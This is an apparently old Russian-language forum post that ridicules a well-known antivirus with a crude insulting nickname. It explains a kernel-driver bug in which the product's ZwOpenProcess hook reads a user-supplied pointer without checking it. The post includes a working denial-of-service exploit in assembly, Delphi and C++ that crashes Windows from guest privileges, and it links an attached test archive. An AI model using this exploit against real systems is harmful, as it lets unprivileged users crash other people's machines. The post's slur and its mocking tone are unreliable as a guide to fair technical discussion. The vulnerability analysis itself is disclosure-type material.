Очередная лажа КАрла СПЕРмСКОГО

 

Существует на свете такой антивирус, который громко зовется "Антивирус Карла Спермского" и незаслужено пользуется у многих популярностью.

Этот антивирус также знаменит тем, что его процесс нельзя убить диспетчером задач, и это, типа, у них зовется очень крутая защита. На самом деле, товарищ Карл Спермский и Ко написали большую лажу, и его антивирус содержит ОГРОМНЫЕ дыры и ужасно тупые баги. Сейчас я приведу пример бага который присутствует в этом сраном антивирусе вплоть до последних его версий, и который позволяет вынести систему в синий экран нах... Причем для этого нужно всего-лишь иметь в системе права гостя.

Причина бага состоит в том, что антивирус для защиты своего процесса от уничтожения устанавливает в систему драйвер и перехватывает в ядре системы функцию ZwOpenProcess, которая используется для доступа к другим процессам, после чего он запрещает открытие своего процесса с флагом PROCESS_TERMINATE.
Вот прототип этой функции:


NTSYSAPI
NTSTATUS
NTAPI
ZwOpenProcess( OUT PHANDLE ProcessHandle,
               IN ACCESS_MASK DesiredAccess,
               IN POBJECT_ATTRIBUTES ObjectAttributes,
               IN PCLIENT_ID ClientId OPTIONAL );
  

Все это конечно хорошо, но программисты "Карла Спермского" были настолько криворуки и тупы, что допустили очень тупой баг, который мог допустить лишь человек совсем незнакомый с системным программированием.

Приблизительно код функции перехватчика ZwOpenProcess антивируса "Карла Спермского" выглядит так:


NTSTATUS NewZwOpenProcess (
    OUT PHANDLE ProcessHandle,
    IN ACCESS_MASK DesiredAccess,
    IN POBJECT_ATTRIBUTES ObjectAttributes,
    IN PCLIENT_ID ClientId OPTIONAL)
{
	if (ClientId->UniqueProcess == MyPid) return STATUS_ACCESS_DENIED;

    else return RealZwOpenProcess(ProcessHandle, DesiredAccess, 
		                          ObjectAttributes, ClientId);
}

как вы видите в коде проверяется значение поля UniqueProcess структуры CLIENT_ID на которую указывает указатель ClientId. Это есть полная лажа, так как указатель ClientId передается из кода режима пользователя, а код режима ядра пытается выбрать поле структуры не проверяя валидность указателей. Если я передам нулевой указатель, то возникнет ошибка доступа к памяти, а такая ошибка в коде режима ядра приводит к немедленному падению системы.

Эксплоит на этот баг будет выглядеть так:

; AVKS ;) DoS Exploit
; Coded by Ms-Rem

.386
.model flat, stdcall
include ntdll.inc
includelib ntdll.lib
.code

start:
  push 01
  push 00
  push 00  
  push 01
  call ZwOpenProcess
end start

На Delphi так:

ZwOpenProcess(nil, 0, nil, nil);

На С++ так:

ZwOpenProcess(NULL, (HANDLE)0, NULL, NULL);

При выполнении этого кода система падает с сообщением об ошибке в драйвере klif.sys. Выполнение этого кода не требует никаких привилегий. Как видите, Карл Спермский очень сильно старается помочь хакерам и злодеям :). Так что лучше еще раз подумайте, прежде чем решите установить его антивирус.

P.S. Все описанное здесь является вымыслом автора, любые совпадения с реальными антивирусами случайны.


Тест этого бага
AVKSDie.rar